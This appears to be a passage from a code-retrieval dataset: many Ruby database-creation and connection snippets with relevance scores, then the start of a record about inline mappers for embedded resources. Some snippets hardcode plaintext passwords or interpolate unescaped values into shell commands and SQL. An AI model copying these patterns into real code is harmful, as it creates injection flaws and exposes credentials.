"def db\r\n @db ||= PG.connect(\r\n host: ENV['HOST'],\r\n user: ENV['USER_NAME'],\r\n password: ENV['PASSWORD'],\r\n dbname: ENV['DATABASE']\r\n )\r\nend",
"def create_initial_database\n db_class = RailsInstaller::Database.dbs[config['database']]\n in_directory(install_directory) do\n db_class.create(self)\n end\n end",
"def create_database # :nodoc:\n @db = HDB.new\n if !@db.open(@path, default_flags)\n raise CorpusError.new(\"Error creating the database: #{@db.errmsg(@db.ecode)}\")\n end\n end",
"def create_db(opts)\n\t\tbegin\n\t\t\tcase opts[\"adapter\"]\n\t\t\twhen 'sqlite3'\n\t\t\t\t# Sqlite just needs the file to be writable. ActiveRecord creates\n\t\t\t\t# it if it doesn't exist and checks permissions if it does. This\n\t\t\t\t# all happens during establish_connection(), so we don't need to\n\t\t\t\t# bother with creating anything here.\n\t\t\twhen 'postgresql','mysql'\n\t\t\t\tActiveRecord::Base.establish_connection(opts.merge('database' => nil))\n\t\t\t\tActiveRecord::Base.connection.create_database(opts['database'])\n\t\t\t\tActiveRecord::Base.remove_connection\n\t\t\tend\n\t\trescue ::Exception => e\n\t\t\tilog(\"Trying to continue despite failed database creation: #{e}\")\n\t\tend\n\tend",
"def started_db\n start unless db.running?\n db\n end",
"def started_db\n start unless db.running?\n db\n end",
"def create_database(name, _options = {})\n execute(\"CREATE SCHEMA `#{name}`\")\n end",
"def create_db(database)\n @conn.query({url_path: database, method: :put})\n end",
"def connect_to_db()\n SQLite3::Database.new('db/database.db')\n end",
"def open_db()\n begin\n # connect to the database\n db_params = {\n host: ENV['host'], # AWS link\n port:ENV['port'], # AWS port, always 5432\n dbname:ENV['dbname'],\n user:ENV['dbuser'],\n password:ENV['dbpassword']\n }\n conn = PG::Connection.new(db_params)\n rescue PG::Error => e\n puts 'Exception occurred'\n puts e.message\n end\nend",
"def open_db()\n begin\n # connect to the database\n db_params = {\n host: ENV['host'], # AWS link\n port:ENV['port'], # AWS port, always 5432\n dbname:ENV['dbname'],\n user:ENV['dbuser'],\n password:ENV['dbpassword']\n }\n conn = PG::Connection.new(db_params)\n rescue PG::Error => e\n puts 'Exception occurred'\n puts e.message\n end\nend",
"def initialize(file_name='persistance.db')\n require 'gdbm'\n # Creates database file if it doesn't exist\n @file_name = file_name\n unless File.directory?('db')\n Dir.mkdir('db/')\n end\n @db = GDBM.new('db/' + file_name)\n @wallet_db = GDBM.new('db/wallets_' + file_name)\n end",
"def load_database(app_name, instance_name)\n app_config = RailsPwnerer::Config[app_name, instance_name]\n db_name, db_user, db_pass = app_config[:db_name], app_config[:db_user], app_config[:db_pass]\n \n Dir.chdir app_config[:backup_path] do\n # find the latest dump and load it in\n dump_file = Dir.glob(\"db/#{app_name}.#{instance_name}_*\").max\n unless dump_file\n dump_file = Dir.glob(\"db/#{app_name}.*\").max\n end\n Kernel.system \"mysql -u#{db_user} -p#{db_pass} #{db_name} < #{dump_file}\"\n end\n end",
"def create_database(connection_string, db_name)\n create_sql = <<-SQL\n CREATE DATABASE #{db_name};\n SQL\n\n run \"#{connection_string} --execute=\\\"#{create_sql}\\\"\"\nend",
"def create_default_databases()\n # Create subfolder for databases if needed.\n dir = \"./databases\"\n Dir.mkdir(dir) unless Dir.exist?(dir)\n # TODO: sanity check: if db-file exist, create copy first, make sure the\n # name of the copy makes it highly unlikely to match an already existing\n # file, e.g. current epoch.\n # TODO: Create DBs\nend",
"def db_create_postgresql(*args)\n\t\t\tcmd_db_disconnect()\n\n\t\t\tif(args[0] == nil or args[0] == \"-h\" or args[0] == \"--help\")\n\t\t\t\tprint_status(\" Usage: db_create <user:pass>@<host:port>/<database>\")\n\t\t\t\tprint_status(\"Examples:\")\n\t\t\t\tprint_status(\" db_create user@metasploit3\")\n\t\t\t\tprint_status(\" db_create user:pass@192.168.0.2/metasploit3\")\n\t\t\t\tprint_status(\" db_create user:pass@192.168.0.2:1500/metasploit3\")\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\treturn if ! db_find_tools(%W{psql dropdb createdb})\n\n\t\t\tinfo = db_parse_db_uri_postgresql(args[0])\n\t\t\topts = { 'adapter' => 'postgresql' }\n\t\t\targv = []\n\n\t\t\tif (info[:user])\n\t\t\t\topts['username'] = info[:user]\n\t\t\t\targv.push('-U')\n\t\t\t\targv.push(info[:user])\n\t\t\telse\n\t\t\t\topts['username'] = 'postgres'\n\t\t\t\targv.push('-U')\n\t\t\t\targv.push('postgres')\n\t\t\tend\n\n\t\t\tif (info[:pass])\n\t\t\t\tprint()\n\t\t\t\tprint_status(\"Warning: You will need to enter the password at the prompts below\")\n\t\t\t\tprint()\n\t\t\t\targv.push('-W')\n\t\t\tend\n\n\t\t\tif (info[:host])\n\t\t\t\topts['host'] = info[:host]\n\t\t\t\targv.push('-h')\n\t\t\t\targv.push(info[:host])\n\t\t\tend\n\n\t\t\tif (info[:port])\n\t\t\t\topts['port'] = info[:port]\n\t\t\t\targv.push('-p')\n\t\t\t\targv.push(info[:port])\n\t\t\tend\n\n\t\t\topts['database'] = info[:name]\n\n\t\t\tcargs = argv.map{|c| \"'#{c}' \"}.join\n\n\t\t\tsystem(\"dropdb #{cargs} #{info[:name]} >/dev/null 2>&1\")\n\t\t\tsystem(\"createdb #{cargs} #{info[:name]}\")\n\n\t\t\topts['password'] = info[:pass] || ''\n\n\t\t\t# Do a little legwork to find the real database socket\n\t\t\tif(! opts['host'])\n\t\t\t\twhile(true)\n\t\t\t\t\tdone = false\n\t\t\t\t\tdirs = %W{ /var/run/postgresql /tmp }\n\t\t\t\t\tdirs.each do |dir|\n\t\t\t\t\t\tif(::File.directory?(dir))\n\t\t\t\t\t\t\td = ::Dir.new(dir)\n\t\t\t\t\t\t\td.entries.grep(/^\\.s\\.PGSQL.(\\d+)$/).each do |ent|\n\t\t\t\t\t\t\t\topts['port'] = ent.split('.')[-1].to_i\n\t\t\t\t\t\t\t\topts['host'] = dir\n\t\t\t\t\t\t\t\tdone = true\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tbreak if done\n\t\t\t\t\tend\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Default to loopback\n\t\t\tif(! opts['host'])\n\t\t\t\topts['host'] = '127.0.0.1'\n\t\t\tend\n\n\t\t\tif (not framework.db.connect(opts))\n\t\t\t\traise RuntimeError.new(\"Failed to connect to the database: #{framework.db.error}\")\n\t\t\tend\n\n\t\t\tprint_status(\"Database creation complete (check for errors)\")\n\t\tend",
"def create\n File.open(@db_file, \"w\" ) do |file|\n end\n end",
"def connect dbname=nil\n dbname ||= getdbname\n return nil unless dbname\n #$log.debug \"XXX: CONNECT got #{dbname} \"\n $current_db = dbname\n $db = SQLite3::Database.new(dbname) if dbname\n return $db\nend",
"def postgresql_database\n # FIXME work in progress\n #encoding = \"-E #{configuration[:postgresql][:encoding]}\" if configuration[:postgresql][:encoding]\n encoding = ''\n template = \"-T #{configuration[:postgresql][:template_database]}\" if configuration[:postgresql][:template_database]\n\n exec \"postgresql_database\",\n :command => \"/usr/bin/createdb -O #{database_environment[:username]} #{encoding} #{template} #{database_environment[:database]}\",\n :unless => \"/usr/bin/psql -l | grep #{database_environment[:database]}\",\n :user => 'postgres',\n :require => exec('postgresql_user'),\n :before => exec('rake tasks')#,\n # :notify => exec('rails_bootstrap') # TODO make this configurable to work with multi_server\n end",
"def recreate_database(name)\n existing_database = current_database.to_s\n if name.to_s == existing_database\n do_execute 'USE master' \n end\n drop_database(name)\n create_database(name)\n ensure\n do_execute \"USE #{existing_database}\" if name.to_s == existing_database \n end",
"def db_create_sqlite3(*args)\n\t\t\tcmd_db_disconnect()\n\n\t\t\tif(args[0] and (args[0] == \"-h\" || args[0] == \"--help\"))\n\t\t\t\tprint_status(\"Usage: db_create [database-file-path]\")\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tinfo = db_parse_db_uri_sqlite3(args[0])\n\t\t\tdbfile = info[:path]\n\t\t\topts = { 'adapter' => 'sqlite3', 'database' => dbfile }\n\n\t\t\tif (::File.exists?(dbfile))\n\t\t\t\tprint_status(\"The specified database already exists, connecting\")\n\t\t\telse\n\t\t\t\tprint_status(\"Creating a new database instance...\")\n\t\t\t\trequire_library_or_gem('sqlite3')\n\t\t\tend\n\n\t\t\tif (not framework.db.connect(opts))\n\t\t\t\traise RuntimeError.new(\"Failed to connect to the database: #{framework.db.error}\")\n\t\t\tend\n\n\t\t\tprint_status(\"Successfully connected to the database\")\n\n\t\t\tprint_status(\"File: #{dbfile}\")\n\t\tend",
"def database\n \"--db='#{ name }'\" if name\n end",
"def database\n \"--db='#{ name }'\"\n end",
"def create_database\n say_with_task(\"Creating database...\", \"db:create\")\n end",
"def openDBRanked()\n\t\t@rankedDB \t\t= SQLite3::Database.new File.expand_path('../../../Data/ranked.db', File.dirname(__FILE__))\n\t\t@rankedTimeDB \t= SQLite3::Database.new File.expand_path('../../../Data/rankedTime.db', File.dirname(__FILE__))\n\tend",
"def update_db\n require \"#{File.dirname(__FILE__)}/../conf/db_schema.rb\"\n Knj::Db::Revision.new.init_db(\"debug\" => false, \"db\" => @db, \"schema\" => Openall_time_applet::DB_SCHEMA)\n end",
"def connect_non_hash\r\n db=SQLite3::Database.new(\"db/slutpro.db\")\r\n return db\r\n end",
"def new_db(options = {})\n cached = find_cached(options)\n return cached if cached && !options[:force_new]\n @cache[options] = ConnectionMaker.new(options).connection\n end",
"def create(master_established = false)\n establish_master_connection unless master_established\n extra_configs = { \"encoding\" => encoding }\n extra_configs[\"owner\"] = username if has_su?\n connection.create_database(configuration[\"database\"], configuration.merge(extra_configs))\n setup_gis\n rescue ::ActiveRecord::StatementInvalid => error\n if /database .* already exists/ === error.message\n raise ::ActiveRecord::Tasks::DatabaseAlreadyExists\n else\n raise\n end\n end",
"def create_database(name, options = {})\n execute(\n \"CREATE SCHEMA #{quote_table_name(name)}\",\n SCHEMA_LOG_NAME\n )\n end",
"def load_database\n password = nil\n if not File.exists?(@options.db_file) then\n hsay 'Creating initial database.', :information\n password = prompt(\"Initial Password for (#{@options.db_file})\", :echo => \"*\", :validate => true)\n else\n password = prompt(\"Password for (#{@options.db_file})\", :echo => \"*\")\n end\n @db = Keybox::Storage::Container.new(password,@options.db_file)\n end",
"def create_database_if_missing\n result = PG.connect.exec \"select count(*) as db_exists from pg_database where datname = '#{db_name}'\"\n if result[0]['db_exists'] == '0'\n `createdb #{db_name}`\n `echo 'create extension postgis' | psql #{db_name}`\n @log.warn \"Created database #{db_name}.\"\n end\n end",
"def build_db\n @db = Moped::Session.new([ ENV['MONGO_HOST'] ])\n @db.use ENV['MONGO_DB']\n end",
"def db(db_name, options={})\n DB.new(db_name, self, options.merge(:logger => @logger))\n end",
"def setup_db\n return unless File.exist?(\"#{Jets.root}/config/database.yml\")\n\n db_configs = Jets.application.config.database\n # DatabaseTasks.database_configuration for db:create db:migrate tasks\n # Documented in DatabaseTasks that this is the right way to set it when\n # using ActiveRecord rake tasks outside of Rails.\n ActiveRecord::Tasks::DatabaseTasks.database_configuration = db_configs\n\n current_config = db_configs[Jets.env]\n if current_config.blank?\n abort(\"ERROR: config/database.yml exists but no environment section configured for #{Jets.env}\")\n end\n # Using ActiveRecord rake tasks outside of Rails, so we need to set up the\n # db connection ourselves\n ActiveRecord::Base.establish_connection(current_config)\n end",
"def database\n database_name ? connection.db(database_name) : nil\n end",
"def connect(dbname, user, auth, attr)\n connection = factory.create_connection\n connection.connection_string = dbname\n connection.open\n return create_database(connection, attr);\n rescue RuntimeError, System::Data::SqlClient::SqlException => err\n raise DBI::DatabaseError.new(err.message)\n end",
"def setup_database!\n mapper = Praxis::Application.instance.plugins[:praxis_mapper]\n Sequel.connect(mapper.config.repositories[\"default\"]['connection_settings'].dump) do |db|\n db.create_table! :people do\n primary_key :id\n string :name\n end\n end\nend",
"def create_database\n system \"createdb #{@base_name}\"\n system \"psql -d #{@base_name} -c 'CREATE EXTENSION postgis;'\"\n end",
"def connectDB\n \t#config = YAML.load_file( '/home/ubuntu/DB-Performance-Testing/config/db.yml' )['DB2']\n config = YAML.load_file( @@path + '../config/db.yml' )['DB2']\n\t cstring = \"DATABASE=#{config['db']};HOSTNAME=#{config['hostname']};\"\n\t cstring += \"PORT=#{config['port']};PROTOCOL=#{config['protocol']};UID=#{config['uid']};PWD=#{config['pwd']};\"\n\t @conn = IBM_DB.connect(cstring,\"\",\"\")\n end",
"def connect_local\n ActiveRecord::Base.establish_connection(\n :adapter => 'postgresql',\n :encoding => 'unicode',\n :database => ENV['DB_NAME'], # accessmon\n :username => ENV['DB_USERNAME'], # accessmon\n :password => ENV['DB_PASSWORD'],\n :pool => POOL_COUNT,\n :port => PORT_NUMBER,\n :host => 'localhost')\n end",
"def get_database\n\t\tdb = Mysql2::Client(:host => 'localhost',:user => 'root',:password => 'abcd0311')\n\n\t\tbegin\n\t\t\tdb.query(\"DROP DATABASE #{@month}_#{@year}_clients\")\n\t\t\tdb.query(\"CREATE DATABASE #{@month}_#{@year}_clients\")\n\t\trescue Exception => e\n\t\t\tdb.query(\"CREATE DATABASE #{@month}_#{@year}_clients\")\n\t\tend\n\n\t\tdb.query(\"USE #{@month}_#{@year}_clients\")\n\t\tdb.query(\"CREATE TABLE users(cID integer, name varchar(50), address varchar(50), prov varchar(50), postal varchar(50), email varchar(50), cost float);\")\n\t\tdb\n\tend",
"def create_db\n SQLite3::Database.new \"flatiron.db\"\nend",
"def database(name)\n Database.new(connection.db(name))\n end",
"def db_connect\n @dbh and db_close\n puts \"DEBUG: Opening DB\" if $DEBUG\n @dbh = DBI.connect(\"dbi:Pg:#{@database[:database]}:#{@database[:host]}\",\n @database[:user],\n @database[:password])\n end",
"def db_connect\n @dbh and db_close\n puts \"DEBUG: Opening DB\" if $DEBUG\n @dbh = DBI.connect(\"dbi:Pg:#{@database[:database]}:#{@database[:host]}\",\n @database[:user],\n @database[:password])\n end",
"def connect_to_database\n # If no input parameters are defined then read the database params\n # from the command line or the default ones\n unless @db_params then self.database_params= DB_PARAMS end\n\n PGconn.connect( @db_params[:host],\n @db_params[:port],\n @db_params[:options],\n @db_params[:tty],\n @db_params[:dbname],\n @db_params[:login],\n @db_params[:password] )\n end",
"def db\n \n ActiveRecord::Base.establish_connection(:adapter => \"mysql2\",\n :database => \"prod1\",\n :user => \"root\",\n :password=>\"Sector@123\",\n :local_infile => true).connection()\n \n end",
"def initialize_database(database_path = './secrets.db')\n DataMapper.finalize\n\n database_path = File.expand_path database_path\n\n @dm = DataMapper.setup(:default, \"sqlite:///#{database_path}\")\n\n return if File.exist? database_path\n\n SQLite3::Database.new(database_path)\n DataMapper.auto_migrate!\n end",
"def setup_databases\n postgres_user = app_name\n postgres_pass = SecureRandom.urlsafe_base64\n postgres_port = find_open_port\n redis_port = find_open_port\n\n add_env \"REDIS_URL\",\n \"redis://localhost:#{redis_port}\"\n\n add_env \"DATABASE_URL\",\n \"postgres:///#{postgres_user}:#{postgres_pass}@localhost:#{postgres_port}\",\n skip_secrets: true\n\n template \"database.yml\",\n \"#{app_name}/config/database.yml\",\n force: true\n\n template \"docker-compose.yml\",\n \"#{app_name}/docker-compose.yml\",\n postgres_user: postgres_user,\n postgres_pass: postgres_pass,\n postgres_port: postgres_port,\n redis_port: redis_port\n end",
"def try_databases\n db = Database.new(application_root, config, settings)\n db.configure\n end",
"def _connect_database\n _send_command(\"db_connect #{@options[:db_user]}:#{@options[:db_pass]}@#{@options[:db_host]}/#{@options[:db_name]}\")\n end",
"def handle_database_creation\n database = Sequel.sqlite('./actions_db.db') # memory database, requires sqlite3\n database.create_table? :\"#{@username}_follows\" do\n primary_key :id\n String :user_id\n String :username\n Time :follow_time\n end\n database.create_table? :\"#{@username}_likes\" do\n primary_key :id\n String :media_id\n String :user_id\n String :shortcode\n Time :like_time\n end\n @table_follows = database[:\"#{@username}_follows\"]\n @table_likes = database[:\"#{@username}_likes\"]\n end",
"def initialize_database\n @db = SQLite3::Database.new @database_path\n File.chmod 0600, @database_path\n begin\n @db.execute 'drop table if exists host;'\n @db.execute <<-SQL\n create table host (\n id INT,\n name varchar(254)\n );\n SQL\n sync_host_table\n rescue\n File.unlink @database_path\n raise\n end\n end",
"def db_setup\n path_to_db = \"/tmp/temp_humidity.db\"\n SQLite3::Database.open(path_to_db).tap do | db |\n # Do anything here before we begin\n end\nend",
"def connect_to_old_db\n ActiveRecord::Base.establish_connection(\n :adapter => \"postgresql\",\n :host => \"localhost\",\n :username => \"postgres\",\n :password => \"vegpuf\",\n :database => \"affluence_staging_25_june\"\n )\nend",
"def get_database(db_name)\n Monga::Database.new(@client, db_name)\n end",
"def stage_database(db_names, admin_password, db_user_name, db_password)\n sql_command = \"\"\n \n db_names.each do |name|\n db_name = ActiveRecord::Base.configurations[name]['database']\n sql_command += \"drop database if exists #{db_name}; \" << \n \"create database #{db_name}; grant all privileges on #{db_name}.* \" << \n \"to #{db_user_name}@localhost identified by \\'#{db_password}\\';\"\n ActiveRecord::Base.configurations[name]['username'] = db_user_name\n ActiveRecord::Base.configurations[name]['password'] = db_password\n end\n\n if (!File.exist?(\"#{APP_ROOT}/tmp/stage.sql\"))\n File.open(\"#{APP_ROOT}/tmp/stage.sql\", \"w\") do |file|\n file.print sql_command\n end\n end\n\n # back up the original database.yml file just in case\n File.copy(\"#{APP_ROOT}/config/database.yml\", \n \"#{APP_ROOT}/config/database.yml.sample\") if !File.exist?(\"#{APP_ROOT}/config/database.yml.sample\")\n \n dbconfig = File.read(\"#{APP_ROOT}/config/database.yml\")\n dbconfig.gsub!(/username:.*/, \"username: #{db_user_name}\")\n dbconfig.gsub!(/password:.*/, \"password: #{db_password}\")\n \n File.open(\"#{APP_ROOT}/config/database.yml\", \"w\") do |file|\n file.print dbconfig\n end\n\n if system %(mysql -h localhost -u root --password=#{admin_password} < tmp/stage.sql)\n puts \"Updated config/database.yml and staged the database based on your settings\"\n File.delete(\"tmp/stage.sql\") if File.file?(\"tmp/stage.sql\")\n else\n puts \"Staging was not performed. Check console for errors. It is possible that 'mysql' executable was not found.\"\n end\n end",
"def create_database(name, options = {})\n options = { encoding: 'utf8' }.merge!(options.symbolize_keys)\n\n option_string = options.inject(\"\") do |memo, (key, value)|\n memo += case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n else\n \"\"\n end\n end\n\n execute \"CREATE DATABASE #{quote_table_name(name)}#{option_string}\"\n end",
"def create_database(name, charset)\n database = ::MySQL::Database.create(name, charset)\n !database.nil?\n end",
"def db_setup\n path_to_db = File.join(File.dirname(__FILE__), \"temp_humidity.db\")\n SQLite3::Database.open(path_to_db).tap do | db |\n # Do anything here before we begin\n end\nend",
"def create_database_sql(name, opts = {})\n \"CREATE DATABASE #{quote_identifier(name)}\"\n end",
"def initialize(dbname = Namey.db_path) \n @db = Sequel.connect(dbname)\n end",
"def initialize_database(database_path, config_file_path = nil)\n RFlow.logger.debug \"Initializing config database (#{Dir.getwd}) '#{database_path}'\"\n\n # TODO should not need this line\n ActiveRecord::Base.establish_connection(:adapter => 'sqlite3', :database => database_path)\n\n establish_config_database_connection database_path\n migrate_database\n\n working_dir = Dir.getwd\n Dir.chdir File.dirname(database_path)\n\n if config_file_path\n process_config_file File.expand_path(config_file_path)\n end\n\n RFlow.logger.debug 'Defaulting non-existing config values'\n merge_defaults!\n\n Dir.chdir working_dir\n\n self.new(database_path)\n end",
"def create_database(name, options = {})\n options = options.reverse_merge(:encoding => \"utf8\")\n\n option_string = options.symbolize_keys.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n \"\"\n end\n end\n\n execute \"CREATE DATABASE #{quote_table_name(name)}#{option_string}\"\n end",
"def connect_to_database\n config = Rails.configuration.database_configuration\n host = config[Rails.env][\"host\"]\n dbname = config[Rails.env][\"database\"]\n username = config[Rails.env][\"username\"]\n password = config[Rails.env][\"password\"]\n \n client = Mysql2::Client.new(:host => host, :username => username, :password => password, :flags => Mysql2::Client::MULTI_STATEMENTS)\n \n if client.query(\"SHOW DATABASES LIKE '#{dbname}'\").count == 0\n print \"Database '#{dbname}' not found, creating...\"\n client.query(\"CREATE DATABASE #{dbname}\")\n print \"\\n\" + File.open(SETUP_FILE,\"r\").read\n client.select_db(dbname)\n client.query(File.open(SETUP_FILE,\"r\").read)\n end\n \n finalClient = Mysql2::Client.new(:host => host, :username => username, :password => password, :database => dbname)\n \n return finalClient\n \n end",
"def connect_database\n begin\n db = PG.connect( :dbname => 'artdb' )\n rescue PGError\n puts 'Failed to connect to artdb database.'\n end\n return db\nend",
"def database(dbname=nil, &block)\n dbname ||= database_name\n if dbname then\n repository dbname, &block\n else\n yield\n end\n end",
"def create_database(name, options = {})\n options = options.reverse_merge(encoding: 'utf8')\n\n option_string = options.symbolize_keys.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n ''\n end\n end\n\n execute(\"CREATE DATABASE #{quote_table_name(name)}#{option_string}\")\n end",
"def recreate_database(name, options = {})\n drop_database(name)\n sql = create_database(name, options)\n reconnect!\n sql\n end",
"def create_database\n options = { database: Orientdb::ORM.connection_uri.database, user: Orientdb::ORM.connection_uri.user, password: Orientdb::ORM.connection_uri.password, type: :graph, storage: :memory }\n Orientdb::ORM.with { |conn| conn.client.create_database( options ) }\nend",
"def setup_database\n require \"sequel\"\n\n options = {\n :max_connections => 16,\n :pool_timeout => 240\n }\n\n database_config = YAML.load_file(\"#{$intrigue_basedir}/config/database.yml\")\n database_host = database_config[$intrigue_environment][\"host\"] || \"localhost\"\n database_port = database_config[$intrigue_environment][\"port\"] || 5432\n database_user = database_config[$intrigue_environment][\"user\"]\n database_pass = database_config[$intrigue_environment][\"password\"]\n database_name = database_config[$intrigue_environment][\"database\"]\n database_debug = database_config[$intrigue_environment][\"debug\"]\n\n if database_pass \n $db = Sequel.connect(\"postgres://#{database_user}:#{database_pass}@#{database_host}:#{database_port}/#{database_name}\", options)\n else\n $db = Sequel.connect(\"postgres://#{database_user}@#{database_host}:#{database_port}/#{database_name}\", options)\n end\n\n $db.loggers << Logger.new($stdout) if database_debug\n\n # Allow datasets to be paginated\n $db.extension :pagination\n Sequel.extension :pg_json_ops\n Sequel.extension :migration\nend",
"def ask_for_database db\n if not @db_setted and yes?(\"Are you going to use #{db[:name]}?\")\n # Save the db to use\n @db_setted = true\n\n # Set settings con config/database.yml\n inside 'config' do\n remove_file 'database.yml'\n copy_file \"database_#{db[:name]}.yml\", 'database.yml'\n end\n\n # Adds the gem to the Gemfile\n gem db[:gem_name]\n gsub_file('Gemfile', /^(gem \\\"#{db[:gem_name]}\\\".*)/){ |*match|\n \"# Use #{db[:name]} as the database for Active Record\\n#{match[0]}\\n\"\n }\n\n # Remove default sqlite gem\n gsub_file 'Gemfile', /.*sqlite.*\\n*/, ''\n end\nend",
"def database(name)\n Database.new(self, name)\n end",
"def create_db(db_name)\n\n db = SQLite3::Database.new(db_name + \".db\")\n db.results_as_hash = true\n current_db_name = (db_name + \".db\")\n\n # Create Project Table\n create_project_table = <<-SQL\n CREATE TABLE IF NOT EXISTS projects(\n id INTEGER PRIMARY KEY,\n name VARCHAR(255),\n client VARCHAR(255)\n )\n SQL\n\n # Create Geologists Table\n create_geo_table = <<-SQL\n CREATE TABLE IF NOT EXISTS geologists(\n id INTEGER PRIMARY KEY,\n name VARCHAR(255),\n company VARCHAR(255)\n )\n SQL\n\n # Create Borehole Table\n create_borehole_table = <<-SQL\n CREATE TABLE IF NOT EXISTS boreholes(\n id INTEGER PRIMARY KEY,\n designation VARCHAR(255),\n northing REAL,\n easting REAL,\n elevation REAL,\n project_id INTEGER,\n FOREIGN KEY (project_id) REFERENCES projects(id)\n )\n SQL\n \n # Create Samples Table\n create_sample_table = <<-SQL\n CREATE TABLE IF NOT EXISTS samples(\n id INTEGER PRIMARY KEY,\n bh_id INTEGER, \n logger_id INTEGER,\n depth REAL,\n USCS VARCHAR(63),\n color VARCHAR(127),\n wetness VARCHAR(63),\n percent_gravel INTEGER,\n percent_sand INTEGER,\n percent_fines INTEGER,\n plasticity VARCHAR(63),\n toughness VARCHAR(63),\n other VARCHAR(255),\n FOREIGN KEY (bh_id) REFERENCES boreholes(id),\n FOREIGN KEY (logger_id) REFERENCES geologists(id)\n )\n SQL\n\n db.execute(create_project_table)\n db.execute(create_geo_table)\n db.execute(create_borehole_table)\n db.execute(create_sample_table)\n\n db\nend",
"def conn\n unless @conn\n # open the database config file\n db_config = YAML.load(ERB.new(File.read(\"config/ourstage_database.yml\")).result )\n database = db_config[environment]['database']\n @conn = EventMachine::Postgres.new(:database => database)\n @conn.setnonblocking(true) # may not be needed? \n end\n @conn\n end",
"def db\n return @db unless @db.nil?\n\n Sequel.single_threaded = true\n @db = Sequel.connect(config(:sql_url), :encoding => 'utf8')\n #@db.loggers << Logger.new(STDOUT)\n if @db.tables.empty?\n dir = File.join(File.dirname(__FILE__), 'migrations')\n puts \"Database empty, running migrations from #{dir}\"\n Sequel.extension :migration\n Sequel::Migrator.apply(@db, dir)\n end\n\n @db\n end",
"def db(db_name, options={})\n XGen::Mongo::Driver::DB.new(db_name, @pair, @options.merge(options))\n end",
"def create_database(name, options = {})\n options = { :encoding => 'utf8' }.merge!(options.symbolize_keys)\n\n option_string = options.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :collation\n \" LC_COLLATE = '#{value}'\"\n when :ctype\n \" LC_CTYPE = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n \"\"\n end\n end\n\n execute \"CREATE DATABASE #{quote_table_name(name)}#{option_string}\"\n end",
"def to_create_database_sql(db)\n db.send(:create_database_sql, self.name, {})\n end",
"def database\n Database.initialize_with(connection)\n end"
] |
[
"0.73275596",
"0.7162998",
"0.71568614",
"0.70539486",
"0.7011821",
"0.68559784",
"0.68365496",
"0.68266004",
"0.6735692",
"0.67164546",
"0.67127913",
"0.669797",
"0.6668326",
"0.66460973",
"0.6619451",
"0.6619274",
"0.6617997",
"0.66170704",
"0.6579083",
"0.65660304",
"0.6506073",
"0.65039426",
"0.6500908",
"0.6498795",
"0.6498795",
"0.64854425",
"0.6462817",
"0.64422375",
"0.643338",
"0.643338",
"0.64136726",
"0.640776",
"0.6401518",
"0.6394667",
"0.63865656",
"0.6373817",
"0.63455737",
"0.6344985",
"0.6328913",
"0.6327861",
"0.63176084",
"0.6315671",
"0.6313078",
"0.6313032",
"0.6290144",
"0.6279904",
"0.6274694",
"0.6271969",
"0.62641066",
"0.6263418",
"0.62631696",
"0.6261672",
"0.6247514",
"0.6242006",
"0.6232663",
"0.62264305",
"0.6222295",
"0.62187374",
"0.6215284",
"0.6206829",
"0.6198977",
"0.6184728",
"0.61778814",
"0.61774474",
"0.61774474",
"0.61750436",
"0.61667615",
"0.6165098",
"0.6163193",
"0.61480916",
"0.61432326",
"0.61364055",
"0.6136005",
"0.61134076",
"0.61120546",
"0.6110377",
"0.61058617",
"0.60997725",
"0.6099286",
"0.60950774",
"0.6084905",
"0.6074976",
"0.60631096",
"0.6050833",
"0.603104",
"0.6029237",
"0.60272163",
"0.60242367",
"0.6018332",
"0.6014053",
"0.601055",
"0.5998889",
"0.59862137",
"0.5981442",
"0.59792113",
"0.5966555",
"0.5966419",
"0.5964434",
"0.5956635",
"0.59507567"
] |
0.7631058
|
0
|
Define an inline mapper for the embedded resources
|
def mapper(&block)
syncer = HALSyncer.new
syncer.instance_exec(&block)
mapper = syncer.to_mapper
@mapper = Mappers::ArrayMapper.new(mapper)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_mapping(resource, options); end",
"def map(&block)\n resources.map(*args, &block)\n end",
"def to_resource(mapper)\n Resource::Form::Field.new(\n resource_attributes.each_with_object({}) do |attr, attrs|\n attrs[attr] = mapper.expand_value(public_send(attr))\n end.merge(options: options.map(&:to_resource))\n )\n end",
"def map_resource(*args, &block)\n map_enclosing_resource(*args, &block)\n end",
"def map_nested_models\n end",
"def map_nested_models\n end",
"def mapper(&block)\n @mapper = DSL::Mapper.new\n @mapper.instance_exec(&block)\n end",
"def define_mapping\n # no additional parameters\n nil\n end",
"def map(&block)\n mapper.instance_eval(&block)\n end",
"def mapping(&blk)\n if block_given?\n @mapper = Lotus::Model::Mapper.new(&blk)\n else\n raise Lotus::Model::InvalidMappingError\n end\n end",
"def map(&blk)\n raise ArgumentError, \"Another mapper is already defined\" if @_mapper\n @_mapper = blk\n end",
"def mappers\n configuration.mappers\n end",
"def add_mapper_for(type, &block)\n mappers[type] = block\n end",
"def resource_decorator_map(model_class, application_decorator = nil)\n application_decorator ||= mapping.resource_decorator\n map_of :@resource_decorator_map, model_class, application_decorator\n end",
"def mapper(&block)\n syncer = HALSyncer.new\n syncer.instance_exec(&block)\n\n @mapper = syncer.to_mapper\n end",
